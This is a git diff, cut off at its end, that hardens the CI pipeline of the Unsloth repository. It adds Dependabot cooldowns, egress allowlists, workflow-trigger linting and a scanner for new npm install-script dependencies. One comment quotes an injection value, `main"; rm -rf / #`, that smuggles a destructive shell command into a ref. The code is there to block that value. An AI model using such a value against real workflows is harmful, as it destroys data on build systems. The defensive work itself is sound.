diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 42fb3a1373..2802f461b6 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -53,3 +53,10 @@ /studio/backend/tests/ @rolandtannous @danielhanchen /tests/ @rolandtannous @danielhanchen /scripts/ @rolandtannous @danielhanchen + +# Snapshot data for the notebook linter / Colab oracle. Drift in these +# files changes the pin floor for every Unsloth notebook, so refreshes +# must be reviewed by the notebook owners directly. CODEOWNERS later +# wins, so this overrides the broader /scripts/ rule above. +/scripts/data/colab_*.txt @danielhanchen @shimmyshimmer +/scripts/data/colab_*.json @danielhanchen @shimmyshimmer diff --git a/.github/dependabot.yml b/.github/dependabot.yml index 51f9e724d9..490838285e 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -5,6 +5,12 @@ updates: directory: "/" schedule: interval: "weekly" + cooldown: + # github-actions refs are git tags / SHAs, not semver -- the + # `semver-minor-days` / `semver-patch-days` knobs are rejected + # by Dependabot's validator for this ecosystem. Only the + # `default-days` floor applies. + default-days: 7 groups: actions: patterns: ["*"] @@ -12,21 +18,24 @@ updates: applies-to: security-updates patterns: ["*"] - - package-ecosystem: "bun" - directory: "/studio/frontend" - schedule: - interval: "weekly" - groups: - bun-frontend: - patterns: ["*"] - bun-frontend-security: - applies-to: security-updates - patterns: ["*"] + # Removed a stray `package-ecosystem: "bun"` entry for + # /studio/frontend: that path has no bun.lock / bun.lockb, so + # Dependabot's bun ecosystem silently no-ops on it. The actual + # lockfile committed at /studio/frontend is package-lock.json + # (npm), and the npm entry further below already catches + # npm_and_yarn security advisories for that directory. Version + # updates for /studio/frontend stay suppressed (open-pull- + # requests-limit: 0 in that entry) -- security PRs flow through + # regardless. Add a real bun entry IF and WHEN bun.lock lands. - package-ecosystem: "npm" directory: "/studio/backend/core/data_recipe/oxc-validator" schedule: interval: "weekly" + cooldown: + default-days: 7 + semver-minor-days: 3 + semver-patch-days: 3 groups: npm-oxc-validator: patterns: ["*"] @@ -41,6 +50,8 @@ updates: schedule: interval: "weekly" open-pull-requests-limit: 5 + cooldown: + default-days: 7 groups: python: patterns: ["*"] @@ -52,6 +63,10 @@ updates: directory: "/studio/src-tauri" schedule: interval: "weekly" + cooldown: + default-days: 7 + semver-minor-days: 3 + semver-patch-days: 3 groups: cargo-tauri: patterns: ["*"] @@ -59,15 +74,25 @@ updates: applies-to: security-updates patterns: ["*"] - # bun owns version updates for /studio/frontend (above); GitHub - # fires npm-package advisories under npm_and_yarn, so this entry - # catches and groups them. limit: 0 suppresses version-update - # PRs, security updates flow through regardless. + # /studio/frontend npm dependencies. Version-update PRs are + # deliberately suppressed (open-pull-requests-limit: 0) -- the + # frontend dep tree is large, the lockfile is the authoritative + # pin, and `min-release-age=7` in studio/frontend/.npmrc already + # blocks fresh tarballs at install time. Security advisories + # arrive via GitHub's npm_and_yarn channel and are NOT capped by + # `open-pull-requests-limit` per Dependabot's documented + # behaviour; they flow through this entry, group together, and + # still respect the cooldown below so we never ingest a tarball + # that was hot-published less than 3 days ago. - package-ecosystem: "npm" directory: "/studio/frontend" schedule: interval: "weekly" open-pull-requests-limit: 0 + cooldown: + default-days: 7 + semver-minor-days: 3 + semver-patch-days: 3 groups: npm-frontend-security: applies-to: security-updates diff --git a/.github/workflows/mlx-ci.yml b/.github/workflows/mlx-ci.yml index 52038dd332..4cabfd01f5 100644 --- a/.github/workflows/mlx-ci.yml +++ b/.github/workflows/mlx-ci.yml @@ -89,6 +89,16 @@ jobs: # Silicon (~5-7 min), so we budget headroom. timeout-minutes: 25 steps: + # harden-runner audit mode: macOS runners cannot use blocking mode + # today (eBPF egress enforcement is Linux-only), but audit mode is + # supported cross-platform and surfaces the egress destinations in + # the runner log. This produces the data needed to graduate this + # job to a block-mode allowlist once macOS support lands. + - name: Harden runner (audit) + uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + with: + egress-policy: audit + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 diff --git a/.github/workflows/notebooks-ci.yml b/.github/workflows/notebooks-ci.yml index 29c6ea4d1d..587f27ea6d 100644 --- a/.github/workflows/notebooks-ci.yml +++ b/.github/workflows/notebooks-ci.yml @@ -67,6 +67,23 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 10 steps: + # Validate the dispatched ref before it reaches actions/checkout's `ref:` + # input. Reading via env (NOT direct ${{ ... }} interpolation in the + # regex test) closes the GitHub-Actions-injection class where a + # client_payload.ref like `main"; rm -rf / #` would be embedded into the + # shell command. NOTEBOOKS_REF defaults to 'main' on non-dispatch + # events, but only repository_dispatch can supply attacker-controlled + # values, so we gate this check on that event type. + - name: Validate client_payload.ref shape + if: github.event_name == 'repository_dispatch' + env: + NOTEBOOKS_REF: ${{ github.event.client_payload.ref }} + run: | + if ! printf '%s' "$NOTEBOOKS_REF" | grep -Eq '^[A-Za-z0-9._/-]+$'; then + echo "::error::client_payload.ref contains disallowed characters" >&2 + exit 1 + fi + - name: Checkout unsloth (this PR) uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: @@ -166,6 +183,18 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 15 steps: + # See `static.Validate client_payload.ref shape` for rationale. This + # job's `if:` excludes repository_dispatch today, so the validation + # step is a defence-in-depth no-op until that gate ever relaxes. + - name: Validate client_payload.ref shape + if: github.event_name == 'repository_dispatch' + env: + NOTEBOOKS_REF: ${{ github.event.client_payload.ref }} + run: | + if ! printf '%s' "$NOTEBOOKS_REF" | grep -Eq '^[A-Za-z0-9._/-]+$'; then + echo "::error::client_payload.ref contains disallowed characters" >&2 + exit 1 + fi - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: { path: unsloth } - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 @@ -200,6 +229,15 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 12 steps: + - name: Validate client_payload.ref shape + if: github.event_name == 'repository_dispatch' + env: + NOTEBOOKS_REF: ${{ github.event.client_payload.ref }} + run: | + if ! printf '%s' "$NOTEBOOKS_REF" | grep -Eq '^[A-Za-z0-9._/-]+$'; then + echo "::error::client_payload.ref contains disallowed characters" >&2 + exit 1 + fi - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: { path: unsloth } - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 @@ -294,6 +332,15 @@ jobs: - 'nb/Whisper.ipynb' # installation_whisper_content - 'nb/Synthetic_Data_Hackathon.ipynb' # installation_synthetic_data_content steps: + - name: Validate client_payload.ref shape + if: github.event_name == 'repository_dispatch' + env: + NOTEBOOKS_REF: ${{ github.event.client_payload.ref }} + run: | + if ! printf '%s' "$NOTEBOOKS_REF" | grep -Eq '^[A-Za-z0-9._/-]+$'; then + echo "::error::client_payload.ref contains disallowed characters" >&2 + exit 1 + fi - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: { path: unsloth } - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 diff --git a/.github/workflows/release-desktop.yml b/.github/workflows/release-desktop.yml index 6b466ed592..fbfeece614 100644 --- a/.github/workflows/release-desktop.yml +++ b/.github/workflows/release-desktop.yml @@ -17,7 +17,7 @@ on: default: true permissions: - contents: write + contents: read concurrency: group: release-desktop-${{ github.repository }} @@ -293,6 +293,14 @@ jobs: PY build: + # TODO: split into a "build (no secrets)" + "publish (secrets)" job pair + # with actions/upload-artifact handoff so the matrix build cannot + # publish a Release on its own. The current matrix runs across + # Linux/macOS/Windows in a single job, so the split needs artefact + # collection across the OS matrix and is out of scope for this + # hardening pass. + permissions: + contents: write # tauri-apps/tauri-action creates / uploads a GitHub Release strategy: fail-fast: false max-parallel: 1 @@ -323,6 +331,17 @@ jobs: DESKTOP_PRERELEASE: ${{ needs.prepare-version.outputs.prerelease }} steps: + # harden-runner in audit mode: surfaces every egress destination in + # the runner log so the allowlist for a future `egress-policy: block` + # promotion can be derived from observed traffic. Audit mode is + # cross-platform (Linux / macOS / Windows runners); blocking mode is + # currently Linux-only, so we deliberately stay in audit until the + # macOS + Windows codesign paths have been observed. + - name: Harden runner (audit) + uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + with: + egress-policy: audit + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # ── Linux dependencies ── @@ -339,7 +358,13 @@ jobs: node-version: 24 - name: Install pinned Tauri CLI - run: npm install --save-dev --prefix studio @tauri-apps/cli@2.10.1 + # Lifecycle scripts (esbuild native-binary postinstall, etc.) are + # required for `vite build`. The pre-install lockfile structural + # audit (lockfile_supply_chain_audit.py) is the practical defence + # against the npm postinstall-dropper class -- it fires BEFORE any + # tarball runs, on the injection pattern itself rather than an + # advisory-DB lookup. + run: npm install --save-dev --prefix studio @tauri-apps/cli@2.10.1 --no-fund --no-audit - name: Verify pinned Tauri CLI shell: bash @@ -414,11 +439,17 @@ jobs: - name: Install frontend dependencies working-directory: studio/frontend - run: npm install + # Lifecycle scripts (esbuild native-binary postinstall, etc.) are + # required for `vite build`. The pre-install lockfile structural + # audit (lockfile_supply_chain_audit.py) is the practical defence + # against the npm postinstall-dropper class -- it fires BEFORE any + # tarball runs, on the injection pattern itself rather than an + # advisory-DB lookup. + run: npm install --no-fund --no-audit # ── Rust ── - name: Install Rust stable - uses: dtolnay/rust-toolchain@stable + uses: dtolnay/rust-toolchain@29eef336d9b2848a0b548edc03f92a220660cdb8 # stable @ 2026-03-27 with: targets: ${{ matrix.platform == 'macos-latest' && 'aarch64-apple-darwin,x86_64-apple-darwin' || '' }} diff --git a/.github/workflows/security-audit.yml b/.github/workflows/security-audit.yml index e3d3f838c9..f739e852fd 100644 --- a/.github/workflows/security-audit.yml +++ b/.github/workflows/security-audit.yml @@ -98,11 +98,29 @@ jobs: # char SHA freezes this action at known-good code; Dependabot's # github-actions ecosystem will auto-bump the SHA. # v2.19.1 commit: - - name: Harden runner (egress audit) + # Per-job allowlist: advisory-audit hits PyPI, npm registry, + # crates.io advisories, GitHub release artefacts (osv-scanner + # binary), Semgrep registry, and TruffleHog's own GitHub action. + - name: Harden runner (egress block) uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 with: - egress-policy: audit + egress-policy: block disable-sudo: true + allowed-endpoints: > + api.github.com:443 + github.com:443 + codeload.github.com:443 + objects.githubusercontent.com:443 + raw.githubusercontent.com:443 + release-assets.githubusercontent.com:443 + registry.npmjs.org:443 + pypi.org:443 + files.pythonhosted.org:443 + static.rust-lang.org:443 + index.crates.io:443 + static.crates.io:443 + crates.io:443 + semgrep.dev:443 - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: @@ -684,15 +702,24 @@ jobs: id: extras files: 'extras' steps: - # Egress audit on every shard. Each shard pulls hundreds of + # Egress block on every shard. Each shard pulls hundreds of # PyPI archives -- if a malicious wheel ever phones home from # within the scanner sandbox (it shouldn't; we never execute - # the archive), harden-runner's audit log records the host. - - name: Harden runner (egress audit) + # the archive), harden-runner now rejects the connect outright. + # Per-job allowlist: pip-scan-packages only fetches PyPI archives + # via scan_packages.py + pip download. No npm or cargo traffic. + - name: Harden runner (egress block) uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 with: - egress-policy: audit + egress-policy: block disable-sudo: true + allowed-endpoints: > + api.github.com:443 + github.com:443 + codeload.github.com:443 + objects.githubusercontent.com:443 + pypi.org:443 + files.pythonhosted.org:443 - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 @@ -771,7 +798,6 @@ jobs: # transitive set (no point fetching the same transformers # wheel five times). Across shards we accept some redundant # downloads in exchange for wall-clock parallelism. - continue-on-error: true env: SHARD_FILES: ${{ matrix.shard.files }} run: | @@ -851,11 +877,20 @@ jobs: timeout-minutes: 30 needs: [] steps: - - name: Harden runner (egress audit) + # Per-job allowlist: npm-scan-packages only fetches tarballs from + # registry.npmjs.org. GitHub endpoints retained for checkout + + # setup-python action machinery. + - name: Harden runner (egress block) uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 with: - egress-policy: audit + egress-policy: block disable-sudo: true + allowed-endpoints: > + api.github.com:443 + github.com:443 + codeload.github.com:443 + objects.githubusercontent.com:443 + registry.npmjs.org:443 - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 @@ -875,7 +910,6 @@ jobs: # downloaded tarball, and only fetches from registry.npmjs.org. # Initially non-blocking so the baseline can settle; drop # continue-on-error once the baseline is clean for a week. - continue-on-error: true run: | set -o pipefail LOG=logs-scan-npm.txt @@ -895,3 +929,192 @@ jobs: name: scan-npm-packages-log path: logs-scan-npm.txt retention-days: 30 + + # ───────────────────────────────────────────────────────────────────── + # Workflow-trigger lint. Refuses two patterns that together powered the + # TanStack GHSA-g7cv-rxg3-hmpx supply-chain compromise: + # + # 1. `pull_request_target` -- runs a fork's workflow YAML against + # the base repository's secrets. There is no safe use of this + # trigger for a public open-source project. + # + # 2. Shared cache keys between PR-triggered workflows and the + # publish workflow. A fork PR can poison the cache; the publish + # workflow then restores the poisoned cache on next run. + # + # Cheap pure-Python lint, runs in seconds. Fail-closed. + # ───────────────────────────────────────────────────────────────────── + workflow-trigger-lint: + name: workflow-trigger lint (pull_request_target / cache-poisoning) + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - name: Harden runner (egress block) + uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + with: + egress-policy: block + disable-sudo: true + allowed-endpoints: > + api.github.com:443 + github.com:443 + codeload.github.com:443 + objects.githubusercontent.com:443 + pypi.org:443 + files.pythonhosted.org:443 + + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + + - name: Install PyYAML + run: pip install pyyaml + + - name: Lint workflow triggers + cache keys + run: python3 scripts/lint_workflow_triggers.py + + # ───────────────────────────────────────────────────────────────────── + # Regression tests: pin scanner IOC tables and pre-install fixtures. + # Hard gate (no continue-on-error) so future drift in the IOC tables + # or scanner exit semantics fails this PR at review time. + # ───────────────────────────────────────────────────────────────────── + tests-security: + name: pytest tests/security + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - name: Harden runner (egress block) + uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + with: + egress-policy: block + disable-sudo: true + allowed-endpoints: > + api.github.com:443 + github.com:443 + codeload.github.com:443 + objects.githubusercontent.com:443 + pypi.org:443 + files.pythonhosted.org:443 + + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + + - name: Install pytest + PyYAML + # PyYAML is imported by scripts/lint_workflow_triggers.py, which the + # `tests/security/test_lint_workflow_triggers.py` regression suite + # exercises as a subprocess. Without it the lint script bails with + # `ERROR: PyYAML is required` (exit 2) and the 5 lint regression + # tests fail. Pinned the same way pytest is pinned. + run: pip install pytest==9.0.3 pyyaml==6.0.2 + + - name: Run security regression tests + run: python3 -m pytest tests/security -v + + # ───────────────────────────────────────────────────────────────────── + # npm provenance + new install-script diff. Catches the two npm + # supply-chain levers we don't yet gate on: + # + # 1. `npm audit signatures` validates the registry-signed + # provenance of every tarball laid down in node_modules. Pulled + # from the public npm transparency log; surfaces unsigned or + # mis-signed deps. Informational for now (continue-on-error) + # while the baseline settles. + # + # 2. `check_new_install_scripts.py` diffs the PR's lockfile + # against the base ref and refuses any newly-added dep that + # ships a postinstall hook. Every recent npm supply-chain + # compromise leveraged a postinstall as the execution lever, so + # blocking new ones at PR time is a small, high-signal gate. + # ───────────────────────────────────────────────────────────────────── + npm-provenance-and-install-scripts: + name: npm provenance + new install-script diff + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - name: Harden runner (egress block) + uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + with: + egress-policy: audit + disable-sudo: true + allowed-endpoints: > + api.github.com:443 + github.com:443 + codeload.github.com:443 + objects.githubusercontent.com:443 + registry.npmjs.org:443 + + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + # Need the base commit accessible for `git show + # :studio/frontend/package-lock.json` below. + fetch-depth: 0 + + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + with: + node-version: '22' + cache: 'npm' + cache-dependency-path: studio/frontend/package-lock.json + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + + - name: Install Studio frontend deps (--ignore-scripts) + # `npm audit signatures` requires node_modules to be populated. + # `--ignore-scripts` is mandatory: this is exactly the lever the + # new-install-script gate below protects against, and we must + # not run any third-party hook to set up the audit. + working-directory: studio/frontend + run: npm ci --ignore-scripts + + - name: npm audit signatures (informational) + # Surfaces unsigned / mis-signed packages from the npm + # transparency log. continue-on-error during baseline-build + # phase; promote to hard gate once the lockfile is fully + # signed (most major maintainers signed by mid-2025). + working-directory: studio/frontend + continue-on-error: true + run: | + set -o pipefail + LOG=logs-audit-signatures.txt + npm audit signatures 2>&1 | tee "$LOG" + { + echo "## npm audit signatures" + echo + echo '```' + tail -200 "$LOG" + echo '```' + } >> "$GITHUB_STEP_SUMMARY" + + - name: Extract base-ref lockfile (PR triggers only) + if: github.event_name == 'pull_request' + run: | + set -e + BASE_SHA="${{ github.event.pull_request.base.sha }}" + git show "$BASE_SHA:studio/frontend/package-lock.json" \ + > /tmp/base-package-lock.json + + - name: Diff for newly-added install-script deps + if: github.event_name == 'pull_request' + run: | + python3 scripts/check_new_install_scripts.py \ + --base /tmp/base-package-lock.json \ + --head studio/frontend/package-lock.json + + - name: Skip install-script diff (non-PR trigger) + if: github.event_name != 'pull_request' + run: | + echo "Not a pull_request event; install-script diff requires a base ref." + echo "This step is intentionally a no-op outside PR triggers." + + - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + if: always() + with: + name: npm-audit-signatures-log + path: studio/frontend/logs-audit-signatures.txt + if-no-files-found: ignore + retention-days: 30 diff --git a/.github/workflows/studio-frontend-ci.yml b/.github/workflows/studio-frontend-ci.yml index bde62c87f6..5c5405c604 100644 --- a/.github/workflows/studio-frontend-ci.yml +++ b/.github/workflows/studio-frontend-ci.yml @@ -67,6 +67,12 @@ jobs: run: python3 scripts/lockfile_supply_chain_audit.py - name: Lockfile must agree with package.json (npm ci is strict) + # Lifecycle scripts (esbuild native-binary postinstall, etc.) are + # required for `vite build`. The pre-install lockfile structural + # audit (lockfile_supply_chain_audit.py) is the practical defence + # against the npm postinstall-dropper class -- it fires BEFORE any + # tarball runs, on the injection pattern itself rather than an + # advisory-DB lookup. run: npm ci --no-fund --no-audit - name: npm ci must not have modified the working tree diff --git a/.github/workflows/studio-tauri-smoke.yml b/.github/workflows/studio-tauri-smoke.yml index f0586ac1eb..5254ef39c5 100644 --- a/.github/workflows/studio-tauri-smoke.yml +++ b/.github/workflows/studio-tauri-smoke.yml @@ -61,7 +61,13 @@ jobs: workspaces: studio/src-tauri -> target - name: Install pinned Tauri CLI (matches release-desktop.yml) - run: npm install --save-dev --prefix studio @tauri-apps/cli@2.10.1 + # Lifecycle scripts (esbuild native-binary postinstall, etc.) are + # required for `vite build`. The pre-install lockfile structural + # audit (lockfile_supply_chain_audit.py) is the practical defence + # against the npm postinstall-dropper class -- it fires BEFORE any + # tarball runs, on the injection pattern itself rather than an + # advisory-DB lookup. + run: npm install --save-dev --prefix studio @tauri-apps/cli@2.10.1 --no-fund --no-audit - name: Verify pinned Tauri CLI version run: | @@ -74,6 +80,12 @@ jobs: - name: Frontend build (npm ci, vite) working-directory: studio/frontend + # Lifecycle scripts (esbuild native-binary postinstall, etc.) are + # required for `vite build`. The pre-install lockfile structural + # audit (lockfile_supply_chain_audit.py) is the practical defence + # against the npm postinstall-dropper class -- it fires BEFORE any + # tarball runs, on the injection pattern itself rather than an + # advisory-DB lookup. run: | npm ci --no-fund --no-audit npm run build diff --git a/.github/workflows/wheel-smoke.yml b/.github/workflows/wheel-smoke.yml index dad8670393..a2d5d650e2 100644 --- a/.github/workflows/wheel-smoke.yml +++ b/.github/workflows/wheel-smoke.yml @@ -57,6 +57,12 @@ jobs: run: python3 scripts/lockfile_supply_chain_audit.py - name: Build frontend + # Lifecycle scripts (esbuild native-binary postinstall, etc.) are + # required for `vite build`. The pre-install lockfile structural + # audit (lockfile_supply_chain_audit.py) is the practical defence + # against the npm postinstall-dropper class -- it fires BEFORE any + # tarball runs, on the injection pattern itself rather than an + # advisory-DB lookup. run: | cd studio/frontend npm ci --no-fund --no-audit diff --git a/pyproject.toml b/pyproject.toml index 5687ea12f8..c66cb870eb 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1185,3 +1185,10 @@ ignore = [ ] [tool.ruff.format] + +[tool.pytest.ini_options] +# Narrow the default test discovery so `pytest` from the repo root +# does NOT pick up the GPU-heavy tests under tests/python, tests/qlora, +# etc. The CI security job runs `pytest tests/security` explicitly. +testpaths = ["tests/security"] +pythonpath = ["."] diff --git a/scripts/check_new_install_scripts.py b/scripts/check_new_install_scripts.py new file mode 100644 index 0000000000..af3c84f96d --- /dev/null +++ b/scripts/check_new_install_scripts.py @@ -0,0 +1,292 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +"""Diff two `package-lock.json` files and flag NEW install-script deps. + +A package with `"hasInstallScript": true` runs `preinstall` / `install` / +`postinstall` lifecycle hooks every time `npm ci` lays it down. Every +npm supply-chain compromise of the last 18 months (Shai-Hulud, +TanStack, axios-style, ArmorCode hijacks) leveraged exactly this lever: +the attacker publishes a new malicious version of a dep we already +trust, and the post-install hook runs the next time CI installs. + +This scanner refuses to allow a newly-introduced install-script dep to +land without a maintainer eyeball on the lifecycle script body. +Existing install-script deps are NOT re-flagged -- if `node-gyp` has +been in the lockfile since day one, it's not part of this PR's threat +model. Only new entries are surfaced. + +Supports lockfileVersion 1 (`dependencies` key, recursive), 2 and 3 +(flat `packages` key with `node_modules//node_modules/` nesting +for transitive entries). For each NEW install-script package we +attempt a stdlib-only fetch of +`https://registry.npmjs.org//` to recover the actual +postinstall command body. If the network is blocked we still emit the +finding -- the lifecycle command body is informational, not +load-bearing. + +Exit codes +========== + 0 no newly-added install-script deps + 1 one or more newly-added install-script deps; listed on stderr + 2 internal error (missing lockfile, malformed JSON, etc.) +""" + +from __future__ import annotations + +import argparse +import json +import sys +import urllib.error +import urllib.parse +import urllib.request +from pathlib import Path + +REGISTRY_BASE = "https://registry.npmjs.org/" +REGISTRY_TIMEOUT_SECS = 5 + +CRITICAL = "CRITICAL" +HIGH = "HIGH" + + +class Finding: + __slots__ = ("severity", "name", "version", "kind", "detail") + + def __init__( + self, severity: str, name: str, version: str, kind: str, detail: str + ) -> None: + self.severity = severity + self.name = name + self.version = version + self.kind = kind + self.detail = detail + + def __str__(self) -> str: + return ( + f" [{self.severity}] {self.name}@{self.version}\n" + f" kind: {self.kind}\n" + f" detail: {self.detail}" + ) + + +# ───────────────────────────────────────────────────────────────────── +# Lockfile parsing. +# ───────────────────────────────────────────────────────────────────── + + +def _strip_nm_prefix(key: str) -> str: + """Convert a v2/v3 `packages` key into a bare package name. + + `node_modules/foo` -> `foo`; `node_modules/foo/node_modules/bar` -> + `bar`. The empty key (`""`) is the project root and returns "". + """ + if not key: + return "" + # Use the LAST `node_modules/` segment so transitives map to their + # leaf name, matching how npm install resolves a postinstall. + marker = "node_modules/" + idx = key.rfind(marker) + if idx == -1: + return key + return key[idx + len(marker) :] + + +def _collect_install_script_entries(lock: dict) -> dict[str, str]: + """Walk a parsed lockfile and return {package_name: version} for + every entry with `hasInstallScript: true` (v2/v3) OR a + non-empty `scripts.preinstall|install|postinstall` (v1). + + The same package may appear at multiple versions in a single + lockfile (de-duplicated copies under different parents); we key by + `name@version` so we don't lose either copy. Returns a dict keyed + by `name@version` -> the same string for convenience. + """ + seen: dict[str, str] = {} + version = lock.get("lockfileVersion") + + # v2 / v3: flat `packages` map. + packages = lock.get("packages") or {} + for key, entry in packages.items(): + if key == "" or not isinstance(entry, dict): + continue + if entry.get("link"): + continue + if not entry.get("hasInstallScript"): + continue + name = _strip_nm_prefix(key) + if not name: + continue + ver = entry.get("version") or "" + seen[f"{name}@{ver}"] = name + + # v1 also embeds a `dependencies` tree; v2/v3 carry both for + # backwards-compat but `packages` is canonical for them. For v1 + # there is no `hasInstallScript` flag, so look for a non-empty + # `scripts.preinstall|install|postinstall` directly. + def _walk_v1(deps: dict, depth: int = 0) -> None: + if depth > 64 or not isinstance(deps, dict): + return + for name, entry in deps.items(): + if not isinstance(entry, dict): + continue + scripts = entry.get("scripts") or {} + lifecycle = any( + isinstance(scripts, dict) and scripts.get(hook) + for hook in ("preinstall", "install", "postinstall") + ) + # v1 also sets `requires` only on the parent, no flag, so + # the lifecycle-script presence is the only signal. + if lifecycle: + ver = entry.get("version") or "" + seen[f"{name}@{ver}"] = name + _walk_v1(entry.get("dependencies"), depth = depth + 1) + + if version == 1 or "dependencies" in lock: + _walk_v1(lock.get("dependencies") or {}) + + return seen + + +def _load_lockfile(path: Path) -> dict: + if not path.exists(): + raise FileNotFoundError(f"lockfile not found: {path}") + try: + return json.loads(path.read_text(encoding = "utf-8")) + except json.JSONDecodeError as exc: + raise ValueError(f"{path}: not valid JSON: {exc}") from exc + + +# ───────────────────────────────────────────────────────────────────── +# Registry lookup for the postinstall command body (best-effort). +# ───────────────────────────────────────────────────────────────────── + + +def _fetch_registry_scripts(name: str, version: str) -> dict[str, str] | None: + """Return {hook: command} for any of preinstall / install / + postinstall published in the registry metadata for this name@ver. + + Returns None on any error (network blocked, 404, malformed JSON). + Never raises; the caller treats absence as "could not enrich, emit + finding anyway". + """ + safe_name = urllib.parse.quote(name, safe = "@/") + url = f"{REGISTRY_BASE}{safe_name}/{urllib.parse.quote(version)}" + try: + with urllib.request.urlopen(url, timeout = REGISTRY_TIMEOUT_SECS) as resp: + body = resp.read() + except (urllib.error.URLError, OSError, ValueError, TimeoutError): + return None + try: + meta = json.loads(body) + except json.JSONDecodeError: + return None + scripts = meta.get("scripts") or {} + if not isinstance(scripts, dict): + return None + keep = {} + for hook in ("preinstall", "install", "postinstall"): + cmd = scripts.get(hook) + if isinstance(cmd, str) and cmd.strip(): + keep[hook] = cmd + return keep or None + + +# ───────────────────────────────────────────────────────────────────── +# Diff. +# ───────────────────────────────────────────────────────────────────── + + +def diff_new_install_scripts(base_lock: dict, head_lock: dict) -> list[Finding]: + base = _collect_install_script_entries(base_lock) + head = _collect_install_script_entries(head_lock) + findings: list[Finding] = [] + for key in sorted(head): + if key in base: + continue # pre-existing install-script dep; not in scope + name = head[key] + # key is "name@version"; rsplit("@", 1) handles scoped names. + version = ( + key[len(name) + 1 :] if key.startswith(name + "@") else "" + ) + scripts = _fetch_registry_scripts(name, version) + if scripts: + detail = "; ".join(f"{h}={cmd!r}" for h, cmd in scripts.items()) + else: + detail = ( + "newly added with hasInstallScript=true; registry " + "metadata unreachable -- inspect the package's " + "scripts.{preinstall,install,postinstall} manually" + ) + findings.append( + Finding( + severity = CRITICAL, + name = name, + version = version, + kind = "new-install-script", + detail = detail, + ) + ) + return findings + + +# ───────────────────────────────────────────────────────────────────── +# CLI. +# ───────────────────────────────────────────────────────────────────── + + +def main(argv: list[str] | None = None) -> int: + parser = argparse.ArgumentParser( + description = ( + "Diff two package-lock.json files and refuse any newly-" + "added install-script dep." + ), + ) + parser.add_argument( + "--base", + required = True, + help = "Path to the BASE package-lock.json (e.g. main branch).", + ) + parser.add_argument( + "--head", + required = True, + help = "Path to the HEAD package-lock.json (this PR).", + ) + args = parser.parse_args(argv) + + try: + base_lock = _load_lockfile(Path(args.base)) + head_lock = _load_lockfile(Path(args.head)) + except (FileNotFoundError, ValueError) as exc: + print(f"[install-script-diff] ERROR: {exc}", file = sys.stderr) + return 2 + + findings = diff_new_install_scripts(base_lock, head_lock) + if not findings: + print( + "[install-script-diff] OK: no newly-added install-script " + "dependencies between base and head", + flush = True, + ) + return 0 + + print( + f"\n[install-script-diff] FAIL: {len(findings)} newly-added " + f"install-script dependency(ies):\n", + file = sys.stderr, + ) + for f in findings: + print(str(f), file = sys.stderr) + print(file = sys.stderr) + print( + "[install-script-diff] Refusing to proceed. Every new " + "install-script dep is a postinstall lifecycle hook that " + "would run on the next `npm ci`. Review each finding above, " + "confirm the maintainer + version, and re-run.", + file = sys.stderr, + ) + return 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/scripts/enforce_kwargs_spacing.py b/scripts/enforce_kwargs_spacing.py index ca2ff343a0..6b36231610 100755 --- a/scripts/enforce_kwargs_spacing.py +++ b/scripts/enforce_kwargs_spacing.py @@ -6,12 +6,38 @@ from __future__ import annotations import ast import argparse import io +import os import sys +import tempfile import tokenize from collections import defaultdict from pathlib import Path +def 